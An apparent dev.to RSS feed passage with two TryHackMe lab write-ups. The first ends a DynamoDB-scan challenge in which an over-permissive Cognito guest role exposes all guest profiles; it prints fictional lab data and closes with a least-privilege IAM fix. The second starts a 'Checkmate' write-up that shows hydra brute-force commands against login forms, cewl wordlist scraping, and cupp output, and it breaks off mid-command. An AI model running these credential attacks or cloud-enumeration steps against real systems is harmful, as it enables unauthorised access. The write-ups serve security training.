&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_DEFAULT_REGION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"us-east-1"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we can perform a &lt;code&gt;Scan&lt;/code&gt; on the DynamoDB table (assuming the role allows it). Let's try:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws dynamodb scan &lt;span class="nt"&gt;--table-name&lt;/span&gt; &lt;span class="s2"&gt;"complimentary-GuestWellnessProfiles"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Response (all items):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Items"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"digitaldetox2026"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"location"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"25.2055,55.2733"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"notes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Booked the quiet room for his &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;digital detox.&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; Checked email twice since writing that."&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"guest_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"guest-vibe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vibe@hackerholidays.thm"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"phone"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"+1–555–0193"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Vibe (Move Fast &amp;amp; Break Things)"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sunkissed88"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"location"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"25.2048,55.2708"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"notes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Posted 47 times in three days. Wants everything tagged #ByteLotus for the algorithm."&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"guest_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"guest-lambo"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lambo@hackerholidays.thm"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"phone"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"+1–555–0142"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Lambo (@0xMia)"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"escalation_only"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"location"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"25.2048,55.2708"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"notes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_****_****!}"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"guest_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"guest-vip-042"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vip042@hackerholidays.thm"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"phone"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"S"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"+1–555–0100"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We found the flag! It's embedded in the &lt;code&gt;notes&lt;/code&gt; of the &lt;code&gt;guest-vip-042&lt;/code&gt; item:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{fr33_app_****_****!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🧠 Why Did This Happen? (Root Cause Analysis)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🔹 Cognito Identity Pools (Federated Identities)
&lt;/h3&gt;

&lt;p&gt;Amazon Cognito Identity Pools allow you to grant temporary AWS credentials to users, even &lt;strong&gt;unauthenticated&lt;/strong&gt; ones. This is often used for guest access in mobile/web apps. The identity pool is configured with an &lt;strong&gt;IAM role&lt;/strong&gt; that defines what actions the temporary credentials can perform.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔹 The Misconfiguration
&lt;/h3&gt;

&lt;p&gt;The IAM role attached to the &lt;strong&gt;unauthenticated&lt;/strong&gt; guest access was &lt;strong&gt;over-permissive&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of restricting access to only the specific item belonging to that guest (e.g., using &lt;code&gt;GetItem&lt;/code&gt; with a condition on &lt;code&gt;guest_id&lt;/code&gt;), the role allowed &lt;code&gt;dynamodb:Scan&lt;/code&gt; on the entire table. This meant anyone with the Identity Pool ID could retrieve &lt;strong&gt;all&lt;/strong&gt; records.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔹 Client-Side Exposure
&lt;/h3&gt;

&lt;p&gt;Hardcoding the Identity Pool ID, region, and table name in client-side JavaScript is standard for frontend apps using AWS - but it &lt;strong&gt;must&lt;/strong&gt; be paired with proper IAM restrictions. Here, the developer relied on the client-generated &lt;code&gt;guest_id&lt;/code&gt; to filter data, but the backend permissions made that filter irrelevant.&lt;/p&gt;




&lt;h2&gt;
  
  
  🛡️ How to Fix It (Mitigation)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apply the Principle of Least Privilege&lt;/strong&gt; to the IAM role for unauthenticated users.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only allow &lt;code&gt;dynamodb:GetItem&lt;/code&gt; (not &lt;code&gt;Scan&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Use a &lt;strong&gt;Condition&lt;/strong&gt; to restrict access to items where &lt;code&gt;guest_id&lt;/code&gt; matches the Cognito identity ID (or a derived value).&lt;/li&gt;
&lt;li&gt;Example IAM policy:
&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Statement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dynamodb:GetItem"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:dynamodb:us-east-1:ACCOUNT:table/complimentary-GuestWellnessProfiles"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Condition"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ForAllValues:StringEquals"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"dynamodb:LeadingKeys"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"${cognito-identity.amazonaws.com:sub}"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;


&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Avoid hardcoding sensitive values in client-side code - but in this case, the identity pool ID is meant to be public; the real protection is the IAM policy.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  📌 Conclusion
&lt;/h2&gt;

&lt;p&gt;This challenge demonstrates a classic cloud misconfiguration: &lt;strong&gt;over-privileged unauthenticated roles&lt;/strong&gt;. By extracting the Identity Pool ID from the frontend JavaScript, we obtained temporary credentials and scanned the DynamoDB table, exposing all guest profiles - including the flag.&lt;/p&gt;

&lt;p&gt;The key takeaway: &lt;strong&gt;never trust client-side data filtering&lt;/strong&gt;; always enforce strict permissions at the IAM level.&lt;/p&gt;




&lt;h2&gt;
  
  
  🏁 Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{fr33_app_****_****!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Happy hacking, and remember - with great permissions come great responsibilities!&lt;/em&gt; 🔐&lt;/p&gt;

</description>
      <category>aws</category>
      <category>cloud</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>Checkmate (TryHackMe) Writeup | Credential Attacks, Custom Wordlists, and SSH Brute Force</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Wed, 17 Jun 2026 10:42:07 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/checkmate-tryhackme-writeup-credential-attacks-custom-wordlists-and-ssh-brute-force-5cm2</link>
      <guid>https://dev.to/ibrahim71reza/checkmate-tryhackme-writeup-credential-attacks-custom-wordlists-and-ssh-brute-force-5cm2</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpelcjdymfjzzpnek1d5v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpelcjdymfjzzpnek1d5v.png" alt=" " width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 1:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Marco deployed a firewall at firewall.thm:5001 but kept default credentials.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Used this Command to get the pasword&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; admin &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 4 10.48.180.224 &lt;span class="nt"&gt;-s&lt;/span&gt; 5001 http-post-form &lt;span class="s1"&gt;'/login:username=^USER^&amp;amp;password=^PASS^:F=Invalid credentials'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;from page source got the parameters -&amp;gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F470x09vjav364k1yxr5h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F470x09vjav364k1yxr5h.png" alt=" " width="799" height="102"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And for an incorrect password it was showing "Invalid credentials"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbe2ri7a8b0sivrdgxfsy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbe2ri7a8b0sivrdgxfsy.png" alt=" " width="563" height="559"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 2:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhl1fxfjv1odiyugsk3oz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhl1fxfjv1odiyugsk3oz.png" alt=" " width="800" height="504"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We CEWL keywords from the site,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cewl &lt;span class="nt"&gt;--lowercase&lt;/span&gt; http://10.48.180.224:5002/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; passwords.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; marco &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 4 10.48.180.224 &lt;span class="nt"&gt;-s&lt;/span&gt; 5002 http-post-form &lt;span class="s1"&gt;'/login:username=^USER^&amp;amp;password=^PASS^:F=Invalid credentials'&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fts9cqp259gj8e5w8n0z1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fts9cqp259gj8e5w8n0z1.png" alt=" " width="799" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 3 :&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Navigate to social.thm:5003 and derive Marco's password from personal info.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faf6ijxfwangsae6q76zb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faf6ijxfwangsae6q76zb.png" alt=" " width="799" height="297"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With those info to make a wordlist "CUPP" is the best tool&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cupp &lt;span class="nt"&gt;-i&lt;/span&gt;
&lt;span class="go"&gt; ___________ 
&lt;/span&gt;&lt;span class="gp"&gt;   cupp.py!                 #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Common
